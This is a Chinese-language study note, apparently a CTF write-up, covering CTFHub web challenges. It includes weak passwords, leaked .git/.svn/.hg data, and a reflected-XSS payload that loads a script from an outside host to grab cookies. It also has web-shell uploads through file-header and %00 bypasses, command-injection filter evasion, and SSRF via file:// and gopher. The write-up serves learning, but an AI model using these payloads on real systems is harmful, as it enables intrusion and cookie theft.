做做笔记
WEB
1.密码口令
1)弱口令
一般思维,
用户名:admin,root
密码:password,admin123,123456
可以用top100字典(可以网上找一下)跑一下,但有的可能需要枚举法
比如admin888或者admin255这样的类似的,就需要在后面用枚举法找出,字典并没包含这种类似情况
2)默认口令
就是系统默认的口令,在渗透测试过程中,最常见的情况就是遇到弱口令得到入口从而攻陷整个系统,由于很多系统管理员缺少安全意识,口令往往是系统默认设置的口令
1 | 常见网络安全设备弱口令(默认口令) |
2.信息泄露-备份文件下载
2.1 信息泄露-robots.txt
1 | 访问url/robots.txt |
查看爬虫协议
2.2 信息泄露-bak文件
1 | 访问url/文件名.后缀名.bak |
下载bak(备份文件)
2.3 信息泄露-vim缓存
原理
在使用vim
时会创建临时缓存文件,关闭vim
时缓存文件则会被删除,当vim
异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php
为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo
的交换文件
第三次产生的交换文件则为 .index.php.swn
作用
可用来恢复意外退出的文件
如何利用
SWP
文件为隐藏文件,操作时需要在文件名前加.
针对SWP
备份文件,我们可以使用vim -r filename
命令来恢复文件
(vim
使用的缓存存储为一种固定格式的二进制文件。而我们一般编辑的时明问可见字符,在vim的缓存中这些可见字符会原样保留,所以显示是一种乱码)
根据提示按回车进行恢复
2.4 信息泄露-.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
1 | 访问url/.DS_Store |
下载DS_Store
文件
3.信息泄露-Git泄露-log
第一次使用githack,记录一下
注意githack需要python2.7版本
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码。
工作原理
1、解析.git/index
文件,找到工程中所有的: ( 文件名,文件sha1 )
2、去.git/objects/
文件夹下下载对应的文件
3、zlib
解压文件,按原始的目录结构写入源代码
优点
速度快,默认20个工作线程
尽量还原所有的源代码,缺失的文件不影响脚本工作
脚本不需要执行额外的git命令,all you need is python
脚本无需浏览目录
用法示例
注意这里在url后面需要加上.git,用dirsearch可以扫出来(python3)
1 | GitHack.py http://www.openssl.org/.git/ |
然后在目录dist
就会生成对应目录
打开目录,输入cmd
,执行git log
【git log
可以查看commit history
,也就是命令执行的历史,可以看看之前执行过哪些命令,方便后面查询命令执行的具体内容】
然后复制add flag
这个命令的代码,如上图75272ca078b7eedcf329a2b08f6e4faae0a36a99
然后用git diff
【
git diff比较两个版本的差异,
这里后面只有一个命令就是比较本地工作区和缓存区的信息区别
如果后面有两个命令,就是比较这两个命令的差别
】
这里比较,就得到了flag
4.信息泄露-Git泄露-Stash
git stash 的作用
git stash用于想要保存当前的修改,但是想回到之前最后一次提交的干净的工作仓库时进行的操作.git stash将本地的修改保存起来,并且将当前代码切换到HEAD提交上.
通过git stash存储的修改列表,可以通过git stash list查看.git stash show用于校验,git stash apply用于重新存储.直接执行git stash
等同于git stash save.
最新的存储保存在refs/stash
中老的存储可以通过相关的参数获得,例如stash@{0}
获取最新的存储,stash@{1}获取次新.stash@{2.hour.ago}
获取两小时之前的.存储可以直接通过索引的位置来获得stash@{n}
.
操作同2.log
可以先用dirsearch
扫一下, 发现refs/stash
文件,
然后用GitHack
扫描
在生成文件夹里有stash
文件
1 | `D:\GitHack-master\dist\challenge-8d48663e236c2ebc.sandbox.ctfhub.com_10800\.git\refs` |
打开看到
在生成的文件夹下用
1 | git diff d8c1978b1e71300574e1bb5335a01124b3a55569 |
得到flag
【也可以使用 git bash
,直接在生成的文件夹下
执行git stash list
1 | 查看stash了哪些存储 |
然后执行git stash pop
恢复之前缓存的工作目录,将缓存堆栈中的对应stash删除,
并将对应修改应用到当前的工作目录下,默认为第一个stash,即stash@{0},
如果要应用并删除其他stash,命令:git stash pop stash@{$num} ,
比如应用并删除第二个:git stash pop stash@{1})
然后会在该目录下生成一个新的txt
文件,打开或用cat
命令,得到flag
】
5.信息泄露-SVN泄露
当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。
这道题需要运用dvcs-ripper
工具进行处理
可以先用dirsearch
扫出.svn
目录,说明有SVN
泄露
和githack
类似,
1 | ./rip-svn.pl -v -u url/.svn |
然后在dvcs-ripper目录里,进入.svn目录
然后进入pristine目录,进去发现两个目录,挨个打开
发现一个目录下是网站页面源码,另一个就是flag
得到flag
6.信息泄露-HG泄露
1 | `当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。` |
可以先用dirsearch
扫出.hg
目录,说明有HG
泄露
这个和SVN
一样,只不过要改成.hg
1 | ./rip-hg.pl -v -u url/.hg |
发现两个文件,猜测为HG
泄露文件
发现flag
文本文件
url+flag_973127138.txt
得到flag
7.xss-xss反射型
发现它有两个输入框
第一个输入测试语句,成功弹窗
第二个是发送url
,盲猜是发到后台
看了一些wp
,发现需要使用xss
测试平台http://xsscom.com//index.php
先创建项目
设置配置
然后点击查看代码
在最下面看到
把代码
1 | </textarea>'"><script src=http://xsscom.com//9VJcMV></script> |
输入到第一个框中
再把提交后的url复制,然后到第二框中发送
然后返回xss测试平台上查看
cookie
处出现flag
8.文件上传-文件头检查
文件头是直接位于文件中的一段数据,是文件的一部分
这里过滤文件头,而且限制图片类型文件,所以可以试试上传一个没有任何问题的图片【注意图片不能太大,不然会最后用蚁剑连接会爆错,我上传1mb大小图片就报错,最后上传400字节图片才成功】
上传图片后,在后面加上一句话木马,并修改文件名
1 | 【也可以用cmd 合成图片马,也是有图片文件头】 |
然后正常用蚁剑连接
得到flag
9.文件上传-00截断
0x00截断原理:[php<5.3.29]
1 | 0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。这个可以用在对文件类型名的绕过上。 |
举个例子,url中输入的是upload/post.php%00.png,看样子是图片文件,那么后台读取到是upload/post.php,就实现了绕后目的。
我们开始先上传一个文件试试,限制jpg,png,gif
后缀
上传成功后,没有显示上传路径,只是url变化
http://challenge-6cc6a23c8f284d6b.sandbox.ctfhub.com:10800/?road=/var/www/html
猜想多半重新临时文件名,不固定,导致显示不了路径
这里就需要00截断
,要把文件上传的路径,找到,好用蚁剑连接
先要清楚%00
截断点在哪里,我们先F12看
看网站源码
1 |
|
发现里面有一串代码
1 | <!-- |
move_uploaded_file($_FILES['file']['tmp_name'],$des)
这个函数就是把上传文件放到$des
的路径上并且改了文件名
所以我们不能让后面的rand()
和date()
运行,所以对于变量road
【也就是开始讲到的】,就需要在它后面加上一个%00
截断后面的语句
也就是下面这个请求头后面
图片正常上传就可以,这就是把图片内容上传到1.php
文件中,这样虽然我们上传的是一个图片,但实际上,我们上传了一个名为1.php
的一句话木马
【名字不重要,虽然图片和php
文件名一样,这里1.php
是随便取得,主要蚁剑连接的就是它】
用蚁剑连接url/upload/1.php
得到flag
10.文件上传-双写后缀
进行了一次过滤php后缀名,双写php为pphphp,这样当过滤了__的php,剩下的仍然是php,正常用蚁剑连接
得到flag
11.RCE-命令注入-综合训练
1 |
|
这道题
看到|,;,&
都被过滤了
那么可以用%0a
也是换行符代替
空格,/,cat,flag,ctfhub(这些好像不大用的上,没关系)
$IFS
代替空格
,cat
可以用more
代替,%09
代替TAB
键,用来补全flag
?ip=120.0.0.1%0als
然后
?ip=120.0.0.1%0acd$IFS%09*_is_here%0als
后面就简单了
?ip=120.0.0.1%0acd$IFS%09*_is_here%0amore$IFS%09*24135173615424.php
右键查看源码
得到flag
12.SSRF-内网访问
所以构造payload
http://challenge-c0c40a8ea91b3909.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
得到flag
13.SSRF-伪协议读取文件
伪协议
事实上是其支持的协议与封装协议。而其支持的部分协议有:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
根据提示,flag在Web目录下,Web目录一般是在/var/www/html/
下
http://challenge-5c45d983b45e22b7.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
得到flag
14.SSRF-端口扫描
端口扫描,那就利用爆破,从8000到9000扫一遍,看看flag在哪个端口下
http://challenge-30d6aa92f511ee1f.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000
看到长度不同,打开查看响应数据包
得到flag
15.SSRF-POST请求
hint:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
开始是一个空白页面
网站为
1 | http://challenge-177dcd6de76352cb.sandbox.ctfhub.com:10800/?url=_ |
我们在其后面加上127.0.0.1/flag.php
看看能不能直接访问该文件
1 | http://challenge-177dcd6de76352cb.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php |
发现出现了一个输入框
F12
查看源码:
1 | <form action="/flag.php" method="post"> |
发现了一个key
的参数
1 | key=11e053e2b7900523ac51fc7606b964e2 |
我们把key
值输入框中试试
看来只能从本地127.0.0.1
访问
利用file://
伪协议从本地方式访问文件看看index.php
文件
1 | http://challenge-177dcd6de76352cb.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php |
右键查看,
得到index.php
源码
1 |
|
以相同方式看看flag.php
文件
1 | <?php |
根据flag.php
最后的提示,
尝试 Gopher
协议向服务器发送 POST
包
1 | Gopher协议的格式: |
先构造 Gopher
协议所需的 POST
请求:
1 | POST /flag.php |
但是这里需要对其进行两次url
编码
根据hint
,请求有curl
功能
在向服务器发送请求时,首先浏览器会进行一次 URL
解码,
其次服务器收到请求后,在执行curl
功能时,进行第二次 URL
解码
因此需要两次url
编码
1 | `注`: |
然后第二次编码
得到
1 | POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D11e053e2b7900523ac51fc7606b964e2 |
然后又因为flag.php
里有$_SERVER["REMOTE_ADDR"]
1 | if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { |
如果直接在输入框,上传POST请求又会显示
这个想绕过,就只有通过index.php
的curl
功能,利用Gopher协议从127.0.0.1
向目标发送POST
请求
1 | ?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D11e053e2b7900523ac51fc7606b964e2 |
得到flag